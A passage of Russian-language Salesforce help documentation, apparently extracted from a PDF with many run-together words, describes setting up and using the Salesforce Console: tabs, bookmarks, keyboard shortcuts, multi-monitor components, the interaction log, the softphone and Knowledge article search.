назначить консоли. См. раздел «Назначение настраиваемого компонента консоли
приложению».

СМ. ТАКЖЕ:

Назначение компонента консоли приложению
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Назначение компонента консоли приложению

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
настраиваемых компонентов
консоли приложению:
• «Настройка

приложения»

Компонент консоли, добавленный в приложения консоли Salesforce, должен быть
назначен каждой консоли, где он должен быть доступен пользователям.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Выберите приложение консоли.

3. Нажмите кнопку «Правка».

4. Добавьтелюбыедоступныекомпонентывполе «Выбрать настраиваемые компоненты
консоли».

1. Заполнитеполе «Выровнять компоненты консоли» нужнымспособомвыравнивания
компонентов: левый или правый край нижнего колонтитула консоли.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Добавление компонентов консоли в приложения
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Придание фирменного стиля консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения цветов на
консоли Salesforce:
• «Настройка

приложения»

Добавивсобственныйлоготипиуказавцвета заголовка, нижнегоколонтитулаиосновных
вкладок, можно придать фирменный стиль консоли.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Щелкните ссылку «Правка» напротив нужной консоли.

3. Чтобы добавить собственный логотип, нажмите кнопку «Вставить изображение»
и выберите изображение из библиотеки документов.

Нижеперечисленырекомендацииповыборунастраиваемогологотипаприложения
в библиотеке документов.

• Изображениедолжнобытьвформате GIF или JPEG. Размеризображениянеможет
превышать 20 Кб.

• Изображение, размеркоторогопревышает 300 пикселовпоширинеи 55 пикселов
по высоте, подлежит масштабированию.

• Для повышения качества отображения на экране рекомендуем использовать
изображение с прозрачнымфоном.

• Чтобы предоставить пользователям доступ к изображению, установите флажок
«Внешний доступ» в свойствах документа.

4. Чтобыуказатьцвет, введитешестизначныйкодвполе Цвет заголовка, Цвет нижнего
колонтитула или Цвет основной вкладки. Например, чтобы указать синий цвет для
заголовка, введите «#0000FF».

5. Нажмите кнопку «Сохранить».

Чтобы убедиться в правильности цветового отображения, просмотрите консоль.

Прим.: В настоящий момент определение цветов заголовка или нижнего
колонтитула недоступно для Metadata API.
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Использование консоли Salesforce

Использование консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Расширенный интерфейс консоли, предназначенный для эффективной обработки
записей, позволяет значительно экономить время при выполнении многих задач.

В отличие от стандартных страниц Salesforce, все элементы, выбираемые на консоли,
отображаются в виде вкладок. Ниже перечислены действия, доступные на консоли.

• Одновременная обработка большого количества записей

• Просмотр недавно использованных вкладок и закладок

• Изменение размера фиксированных списков для просмотра дополнительной
информации

• Быстрое перемещение посредством клавиш быстрого доступа

• Использование нескольких мониторов

Подобно панели мониторинга, интерфейс консоли позволяет систематизировать все
связанные данные на одном экране и выполнять действия ниже.

• Поиск записей

• Добавление примечаний для записей посредством журнала взаимодействия

• Отображение времени редактирования просматриваемых записей другими
пользователями

• Использование программного телефона для обработки вызовов

Нижеперечисленыдополнительныедействия, доступныенаконсоли Salesforce for Service.

• Поиск статей Salesforce Knowledge для принятия решений по обращениям

• Общение с клиентами посредством Live Agent

Прим.: Если администратор добавляет настраиваемые компоненты консоли, то
боковыепанелиинижниеколонтитулыконсолимогут содержатьдополнительные
функции.
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Вкладки консоли Salesforce

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Любые элементы, выбранные на консоли, отображаются в виде вкладок. Вкладки
позволяют просмотреть всю необходимую информацию на одном экране.

Вкладки консоли

(1) Вкладка «Навигация» позволяетвыбиратьобъектыизаписидляобработки. (2) Основныевкладкиотображаютосновные
рабочие элементы на консоли (например, организация). (3) Вложенные вкладки отображают связанные элементы для
основной вкладки (например, контакт организации). Вкладки позволяют пользователям перемещаться по консоли.

Внимание: Консольнеподдерживает кнопкиобозревателей «Назад», которыемогутработатьнекорректно. Вкладки
консоли сохраняются на вкладках обозревателя до их закрытия пользователем.

Закрытиевкладокобозревателяинициирует закрытиеоткрытыхвкладокконсоли. Еслифункциясохранениясеансов
включена администратором, то при повторном входе в систему Salesforce автоматически отображаются любые
открытые ранее вкладки и компоненты консоли. Кроме того, данная функция позволяет сохранять и отображать
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следующиенастройки: изменениеразмера любого компонента боковойпанелиилижурнала взаимодействия либо
сокрытие верхнего колонтитула глобального поиска.

Если пользователь выходит из системы Salesforce, а затем входит в одно и то же окно, будут отображены вкладки,
открытые во время предыдущего сеанса, даже если параметр «Сохранить сеансы пользователя» отключен.

СМ. ТАКЖЕ:

Использование консоли Salesforce

Просмотр закладок или недавно использованных вкладок на консоли Salesforce

Вкладка «Навигация» консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Вкладка «Навигация» позволяет выбирать объект и просматривать его начальную
страницу.

Вкладка «Навигация» консоли

4298

Вкладки консоли SalesforceОптимизация приложений Sales и Service посредством
консоли Salesforce



Каждая консольотображаетодну вкладку «Навигация». Списокобъектов, доступныхна вкладке «Навигация», определяется
администратором. Чтобыскрыть, показатьилисистематизироватьобъекты, нажмитекнопку «Настройкамоихвкладок»
(при ее наличии).

Начальныестраницымногихобъектов, выбранныхнавкладке «Навигация», содержат списковыепредставления, которые
автоматическиотображаются в виде расширенных списков. Вкладка «Навигация» не отображает прогнозы, идеи, ответы,
подключения, порталы, консоли и кнопки для настройки организации.

СМ. ТАКЖЕ:

Вкладки консоли Salesforce

Использование консоли Salesforce

Рекомендации по работе с вкладками консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Просмотритерекомендациипоэффективномуиспользованиюосновныхивложенных
вкладок консоли.

Основные и вложенные вкладки консоли
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(1) Основная вкладка — этоосновнойрабочийэлемент (например, организация). (2) Вложенная вкладка — это связанный
элементдляосновнойвкладки (например, контакторганизации). Salesforceнеограничиваетколичествовкладок, доступных
для отображения.

При просмотре вкладок значок отображается на тех вкладках, которые содержат несохраненные изменения, кроме
отчетов, страниц Visualforce или страниц настройки организации. Значок отображается на тех вкладках, которые
содержатошибки, требующиеисправления. Придобавлениивнешнихдоменов в списокразрешенныхдоменовконсоли
вкладкимогутотображать страницывне системы Salesforce. Новыевкладкинеотображаютсяпринажатиинастраиваемой
кнопки, либо при изменении типа записи, ответственного или территории; наоборот, текущая вкладка открывает
выбранный элемент.

Панель вкладок позволяет выполнять над вкладками самые разные действия путем нажатия значка и выбора нужного
действия (например, закрытиевкладок, обновлениевкладок, отображениеклавишбыстрогодоступаит. д.). Чтобыизменить
порядок отображения вкладки, перетащите вкладку вдоль панели вкладок. Вкладки сохраняют статус основных или
вложенных, препятствуя перемещению основных вкладок на панель вложенных вкладок или наоборот. Изменение
порядка отображения вкладок не поддерживается обозревателем Internet Explorer® 7.

Еслиорганизацияподдерживаеткомпонентымультимонитора, развернитеосновныевкладкиизобозревателяиперетащите

их в любую нужную область экрана. Просто нажмите кнопку и выберите «Развернуть основные вкладки». Чтобы

свернуть основные вкладки, нажмите кнопку и выберите «Свернуть вкладки».

Чтобы скопировать URL-адрес вкладки консоли и отправить его другому пользователю, нажмите кнопку и выберите

напротив имени нужной вкладки. Если URL-адрес отправляется пользователю, который не использует консоль,
рекомендуем создать стандартный URL-адрес Salesforce посредством диалогового окна «Ссылка для общего доступа».
Чтобыскопировать URL-адрес, воспользуйтесь комбинациейклавиш CTRL + C. Чтобыдобавитьновуювкладкуна консоль

для вставкископированного URL-адреса, нажмите кнопку . Чтобывставить URL-адрес в текстовоеполе, воспользуйтесь
комбинациейклавиш CTRL + V. Затемнажмите кнопку «Начать». URL-адрес консолиилистандартный URL-адрес Salesforce
может быть вставлен на новую вкладку.

Чтобы зафиксировать часто посещаемую основную вкладку на панели вкладок для быстрого доступа, нажмите кнопку

и выберите значок . Фиксация вкладкиинициирует ее перемещение в началопанели вкладоки удаление ее текста.

Чтобы отменить фиксацию вкладки, нажмите кнопку и выберите значок .

Чтобы добавить закладку на избранную или часто посещаемую вкладку для быстрого доступа, нажмите кнопку и

выберите значок . Добавление закладки на вкладку инициирует ее перемещение в компонент «Журнал» нижнего

колонтитула (ранее «Последниевкладки»). Чтобыудалитьвкладку, добавленнуювзакладки, нажмитекнопку ивыберите

значок илищелкните «Удалить» напротив нужной вкладки в компоненте «Журнал». См. раздел «Просмотр закладок
или недавно использованных вкладок на консоли Salesforce» на странице 4301.

Внимание: При нажатии кнопки «Отмена» новый несохраненный элемент и соответствующая вкладка удаляются
без возможности восстановления.

Прим.: Если администратор добавляет настраиваемые компоненты консоли, то боковые панелинапротив вкладок
могут содержать дополнительные функции.
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Совет: Чтобыповторнооткрытьпоследнююзакрытуювкладку, воспользуйтеськомбинацией SHIFT + C илинажмите

кнопку и выберите параметр «Повторно открыть последнюю закрытую вкладку». При необходимости
повторно откройте не более 10 закрытых вкладок.

СМ. ТАКЖЕ:

Вкладка «Навигация» консоли Salesforce

Вкладки консоли Salesforce

Использование консоли Salesforce

Просмотр закладок или недавно использованных вкладок на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Администратор может настроить функцию быстрого доступа к любым основным
вкладкам, добавленным в закладки или недавно использованным на консоли, без
выполнения поиска по системе Salesforce.

Прим.: Ввыпуске Summer'15 компонент «Последниевкладки» замененкомпонентом
«Журнал» и дополнен закладками, которые позволяют ускорить процесс поиска
иизвлечениянужныхвкладок. Данныефункциинеподдерживаютсяобозревателями
Internet Explorer® 7 и 8.

Чтобы просмотреть любые добавленные в закладки или недавно использованные
основныевкладки, щелкните«Журнал»внижнемколонтитулеконсоли. Затемщелкните
столбец «Закладки» или «Недавние вкладки» и выберите нужную вкладку. При
необходимостиизвлеките URL-адрескаждойвкладкидляотправкидругомупользователю
или удалите закладки и очистите список недавно использованных вкладок. При
необходимости просмотрите не более 10 вложенных вкладок (при условии их
доступности) напротив каждой недавней вкладки. Нижний колонтитул «Журнал» не
отображает элементы, которые не отображаются в виде вкладок (например, области
наложения запросов на проведение встречи).

СМ. ТАКЖЕ:

Рекомендации по работе с вкладками консоли Salesforce

Использование консоли Salesforce
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Изменение размера и сворачивание фиксированных списков на консоли
Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Если администратор включил фиксированные списки и выбрал случаи их вывода на
экран, можно изменять их размеры или сворачивать списки.

Чтобы изменить размер фиксированного списка, щелкните по правому или нижнему
полю списка и протяните его до нужного размера. Чтобы свернуть фиксированный
список, щелкнитестрелкувправомилинижнемполе. Чтобыразвернутьсписок, щелкните
стрелку повторно. Если запись в списке все еще не выбрана, то список автоматически
отображается во весь экран.

СМ. ТАКЖЕ:

Использование консоли Salesforce
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Работа с клавишами быстрого доступа на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Клавиши быстрого доступа позволяют быстро выполнять действия путем нажатия
клавиш вместо использования мыши.

Клавиши быстрого доступа повышают эффективность работы на консоли. Например,
чтобысохранять введенныесведенияобобращениибезиспользованиямышиикнопки
«Сохранить», администраторможет активировать клавишубыстрогодоступа (CTRL + S),
благодаря которойдействиеможетбыть выполненопосредствомклавиатуры. Создавать
и настраивать клавиши быстрого доступа может только администратор.

Чтобыпросмотретьобластьналожения, содержащуюсписокклавишейбыстрогодоступа

для консоли, нажмите кнопку и выберите пункт «Показать клавиши быстрого
доступа». Есликлавишабыстрогодоступазатененанаобластиналожения, онаотключена
или настроена.

Клавиши быстрого доступа нечувствительны к регистру даже при предварительном
нажатии клавиши SHIFT. Например, SHIFT+b идентичен комбинации SHIFT+B. Порядок
нажатия клавиш CTRL, ALT и SHIFT (при их наличии в комбинации) не имеет значения.
Например, комбинация CTRL + ALT + A аналогична комбинации ALT + CTRL + A.

СМ. ТАКЖЕ:

Стандартные клавиши быстрого доступа для консоли Salesforce

Использование консоли Salesforce
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Стандартные клавиши быстрого доступа для консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Эти клавишибыстрого доступа автоматически доступны для консоли, а администратор
может их отключать или настраивать.

Команда клавишиОписаниеДействие
(клавиша
быстрого
доступа)

ESCАктивация клавиш быстрого доступа в
обозревателе, отображающем консоль.

Открыть режим
клавиш быстрого
доступа

VВыбор вкладки навигации.Перейтиковкладке
навигации

SHIFT + SВыбор сведений на вкладке.Перейтикполюна
вкладке

РВыбор строки основных вкладок.Перейти к
основным
вкладкам

SВыбор строки вложенных вкладок на
основной вкладке.

Перейти к
вложенным
вкладкам

NВыбор спискового представления.Перейти к
списковому
представлению

SHIFT + FВыбор первого элемента спискового
представления.

Перейтикпервому
элементу
спискового
представления

RПеремещение курсора в поле поиска в
верхнем колонтитуле.

Перейти к полю
поиска в верхнем
колонтитуле

F/СТРЕЛКА
ВПРАВО или

Перемещение курсора в компоненты
нижнего колонтитула.

Неподдерживаетсяобозревателем Microsoft®

Internet Explorer® 7 или 8, а также языками,

Перейти к
нижнему
колонтитулу СТРЕЛКА

ВЛЕВО/1 — 9

читаемыми справа налево. При выборе
компонента «Макрос» или «Присутствие»
нажмите клавишу ESC для перемещения
курсора в другие компоненты.

СТРЕЛКА ВЛЕВОПеремещение курсора влево.Переместитьвлево
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Команда клавишиОписаниеДействие (клавиша
быстрого доступа)

СТРЕЛКА ВПРАВОПеремещение курсора вправо.Переместить вправо

СТРЕЛКА ВВЕРХПеремещение курсора вверх.Переместить вверх

СТРЕЛКА ВНИЗПеремещение курсора вниз.Переместить вниз

CTRL + щелчок для ПК;
CMD + щелчок для Mac

Открытие выбранного элемента на новой вкладке без
перемещения курсора.

Открыть элемент на
неактивной вкладке

DОткрытие раскрывающейся кнопки на вкладках для выбора
дополнительных действий.

Открытьраскрывающуюся
кнопку на вкладках

TОткрытие новой вкладки.Открыть вкладку

CЗакрытие выбранной вкладки.Закрыть вкладку

SHIFT + CПовторноеоткрытиепоследнейзакрытойосновнойвкладки.Повторно открыть
последнюю закрытую
вкладку

SHIFT + RОбновление выбранной вкладки.Обновить вкладку

ENTERАктивация команды.Ввод

UОткрытие диалогового окна «Ссылка для общего доступа»
на выбранной вкладке.

Получить ссылку для
общего доступа

SHIFT + KОткрытиеобластиналожения, содержащейсписокклавишей
быстрого доступа.

Показать клавиши
быстрого доступа

EПереходсостраницысведенийна страницуредактирования.Правка

CTRL + SСохранение изменений, внесенных на выбранной вкладке.Сохранить

SHIFT + NИзменение внешнего вида фиксированного списка.Скрыть или показать
фиксированный список

SHIFT + СТРЕЛКА ВЛЕВОИзменение внешнего вида левой боковой панели или ее
любого компонента.

Скрытьилипоказатьлевую
боковую панель

SHIFT + СТРЕЛКАВПРАВОИзменение внешнего вида правой боковой панели или ее
любого компонента.

Скрыть или показать
правую боковую панель

SHIFT + СТРЕЛКА ВВЕРХИзменение внешнего вида верхней боковой панели или ее
любого компонента.

Скрыть или показать
верхнюю боковую панель

SHIFT + СТРЕЛКА ВНИЗИзменение внешнего вида нижней боковой панели или ее
любого компонента.

Скрыть или показать
нижнюю боковую панель
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Команда клавишиОписаниеДействие (клавиша
быстрого доступа)

ZУвеличение или уменьшение основных вкладок путем
изменения внешнего вида верхнего колонтитула, нижнего
колонтитула и фиксированного списка.

Увеличитьилиуменьшить
основные вкладки

СМ. ТАКЖЕ:

Работа с клавишами быстрого доступа на консоли Salesforce

Использование консоли Salesforce

Рекомендации по работе с компонентами мультимонитора консоли
Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Перемещение компонентов консоли в разные области экрана компьютера для
оптимизации способа просмотра отображаемой информации.

Как только администратор включит компоненты мультимонитора, вы сможете
разворачивать и перетаскивать основные вкладки и программные телефоны Open CTI в
другие области экрана. Также можно перемещать компонент «Журнал», чаты Live Agent
(кромекомпонентанижнегоколонтитула) илюбыенастраиваемыекомпонентыконсоли
либокомпоненты Force.com Canvas, входящиевнижнийколонтитулконсоли. Возможно,
использование компонентов мультимонитора потребует обновления параметров
обозревателя. (1) включить всплывающие окна; (2) открывать ссылки в новых окнах, а
не в новых вкладках.

Дляразворачиванияиперетаскиванияосновныхвкладокнажмитекнопку ивыберите
«Развернутьосновныевкладки». Чтобы свернуть основные вкладки, нажмите кнопку

и выберите «Свернуть вкладки».

Для разворачивания и перетаскивания компонентов нижнего колонтитула консоли

щелкнитенужныеэлементыинажмитекнопку . Чтобысвернуть элементы, нажмите

кнопку . Чтобыобновитьразвернутыйкомпонентнижнегоколонтитула, щелкните
его правой кнопкой мыши и выберите пункт «Перезагрузить» или «Обновить».
Обновление развернутого компонента нижнего колонтитула инициирует его
сворачивание в нижний колонтитул консоли.

Еслиорганизациянастраиваетфиксированныесписки, торабочаяобластьотображается
как пустая область напротив списков и содержит следующий текст: «Перетащите
компоненты нижнего колонтитула сюда». Рекомендуемиспользовать даннуюобласть
для отслеживания окон Salesforce среди других открытых приложений.

Важное замечание: Развернутые элементы закрываются и теряют свои позиции на экране в следующих ситуациях:
(1) при выходе из Salesforce; (2) при нажатии кнопки «Настройка»; (3) при переходе по ссылке выхода из консоли;
(4) при обновлении или закрытии обозревателя.

Прим.: Программные телефоны, разработанные с помощью инструментария CTI Toolkit 3.0 или 4.0, не могут быть
развернуты.
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Совет: Все развернутые элементы консоли помечаются синими заголовками, которые позволяют упростить их
поиск среди других открытых окон.

Чтобы использовать клавиши быстрого доступа из развернутых компонентов, выберите нужное окно. Например,
стандартная клавишабыстрогодоступа «P», используемаядляперехода косновнымвкладкам, неработаетпривыборе
окна со вкладкой «Навигация».

СМ. ТАКЖЕ:

Использование консоли Salesforce

Добавление примечаний в записи на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра журнала
взаимодействия:
• «Чтение» для задач

Для сохраненияпримечаний
в журнале взаимодействия:
• «Редактирование» для

задач

Журналвзаимодействияпозволяетбыстродобавлятьпримечанияв записинаосновных
вкладках консоли.

Нижнийколонтитулконсолиможетиспользоватьсядля доступа кжурналу только в том
случае, если пользователю назначен макет журнала взаимодействия. Журналы
отображаются для элементов со связаннымсписком «Журнал действий» (например, для
организацийиконтактов, нонедлярешений). Журналынедоступныдляотчетов, панелей
мониторинга, Salesforce CRM Content, вкладки «Управление статьями» или страниц
Visualforce.

Чтобыпоказатьилискрытьжурналвзаимодействия, наведитеуказательмышина границу
журналаинажмитекнопку или . Чтобыизменитьразмерыжурналавзаимодействия
и страницы сведений, перетащите линию между ними. Чтобы ускорить процесс
сохраненияпримечанийдля клиентов, система заполняетполежурнала «Имя» именем
контактаприотображенииконтактанавложеннойвкладке. Принеобходимостиизмените
значение поля «Имя» перед сохранениемжурнала. При выборе параметра «Очистить
журнал» для удаления примечаний или поля «Тема» сохраненные примечания не
удаляются, а хранятся в связанном списке записи «Журнал действий». Сохранение всех
журналов в качестве задач в связанном списке записей «Журнал действий» позволяет
упростить их просмотр и извлечение.

Прим.: Администраторы могут настраивать поля, отображающиеся в журналах.

Совет: Чтобы добавить дату и время вызова в журнал при использовании
программного телефона, нажмите кнопку «Добавить данные вызова». Чтобы
завершить вызов и сохранить любые обновления, внесенные в журнал, нажмите
кнопку «Завершить вызов» при отображении всплывающих окон входящих
вызовов.

СМ. ТАКЖЕ:

Использование консоли Salesforce
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Просмотр всплывающих уведомлений на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Всплывающиеуведомления — это визуальныеиндикаторы, указывающиенаизменение
просматриваемой записи или поля другими пользователями.

Как только администратор сконфигурирует всплывающие уведомления, в списках и на
страницахсведенийотобразятся визуальныеиндикаторыизмененийзаписейилиполей.
При изменениях страницы сведений автоматически принимают и отображают
обновления либо выводятся уведомления в виде диалоговых окон. Ниже перечислены
способы отображения уведомлений в списках.

Всплывающие уведомления для списков

(1) Желтый цвет: изменение записи. (2) Синий цвет: последний просмотренный элемент. (3) Жирныйшрифт и курсив:
изменение поля, указанного администратором.

Прим.: Объекты и их поля, доступные для всплывающих уведомлений: учетные записи, контакты, обращения,
интересы, возможности, кампании, задачи и настраиваемые объекты.

СМ. ТАКЖЕ:

Использование консоли Salesforce
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Использование программного телефона на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
использования
программного телефона:
• Участник центра

обработки вызовов

Программный телефон в консоли позволяет просматривать записи, связанные с
телефонными вызовами, а также получать, размещать и передавать вызовы.

Пользователь центра обработки вызовов может использовать программный телефон
только при наличии адаптера CTI, созданного посредством инструментария CTI Toolkit
3.0 или 4.0, или центра обработки вызовов, созданного посредством Open CTI.

Чтобыдобавитьпрограммныйтелефонвнижнийколонтитулконсоли, нажмите кнопку
. Добавлять примечания в журналы вызовов можно с помощью журнала

взаимодействия. Журнал вызовов — это запись, добавляемая автоматически при
использованиипрограммного телефона. Данная запись содержитномер телефона, имя
вызывающего абонента, дату, время и продолжительность вызова. Чтобы просмотреть
журналы вызовов, воспользуйтесь связанным списком «Журнал действий», доступным
в любой связанной записи.

Важное замечание: Ниже перечислены условия возможной потери данных. (1)
Обновление обозревателя во время вызова; (2) одновременное использование
программного телефона в нескольких обозревателях; (3) переключение на
программный телефон в обозревателе без консоли.

Прим.: При использовании адаптера CTI, разработанного с помощью
инструментария CTI Toolkit 4.0, кнопка отображается внижнемколонтитуледаже
в случае отсутствия подключения к адаптеру.

Совет: Можно скрыть программный телефон, нажав , однако удалить его из
нижнего колонтитула консоли невозможно. Также можно изменить высоту окна
программного телефона, перетягивая верхнюю рамку. При нажатии кнопки
«Завершить вызов» все сделанные обновления журнала взаимодействия
сохраняются до окончания вызова.

СМ. ТАКЖЕ:

Использование программного телефона

Общие сведения о Call Center

Использование консоли Salesforce
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Поиск статей базы знаний в консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра статей
Salesforce Knowledge:
• «Чтение» для типа

статьи

Для добавления статей
Salesforce Knowledge в
обращения:
• «Редактирование» для

обращений

Если база знаний Salesforce и ее боковая панель настроены администратором, статьи
будут отображаться автоматически при выборе обращения в консоли.

Чтобырешатьобращениябыстрее, привводесведенийв тему обращенияпредложенные
статьи отображаются на боковой панели. Данный список содержит только те статьи,
которыебылиобновленывтечениепоследних 30 дней. Чтобыпросмотретьболееранние
статьи, введитекритерийпоискилиотфильтруйтерезультатыпоиска. Чтобыпросмотреть
статьи по категории, языку или статусу проверки, щелкните значок и выберите
параметрыфильтрации. Этифильтры доступны только в том случае, если организация
поддерживаетстатусыпроверкиимногоязычныестатьи. Доступныеязыкиопределяются
администратором. Боковая панель содержит только следующие столбцы: «Новинка»,
«Заголовок статьи» и «Самое популярное». Чтобы изменить размер столбцов,
перетащите линиюмежду ними. Запрещается добавлять, удалять илиизменять порядок
отображения столбцов.

Чтобынайти статьи для принятия решенияпо обращению, нажмите значок , введите
ключевыесловавполе «Поиск» инажмитекнопку«Начать». Чтобыприкрепитьстатью
к обращению, установите флажок напротив нужной статьи и щелкните «Вложить в
обращение». Статья может быть вложена только в сохраненное обращение. Напротив
статьи, которая уже вложена в обращение, отображается значок .

Чтобыизменитьколичествоотображаемыхстатей, щелкнитеиндикаторвлевомнижнем
углу боковой панели и выберите нужное количество. Одновременно можно
просматривать 10, 25, 50, 100 или 200 статей. После изменения данного параметра
отображается первая страница списка.

Чтобы показать или скрыть боковую панель, наведите указатель мыши на полосу

прокрутки и щелкните значок или . Перетащите линию в область между боковой
панелью «Статьи» и страницей сведений для изменения их ширины.

СМ. ТАКЖЕ:

Использование консоли Salesforce
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Live Agent для агентов службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
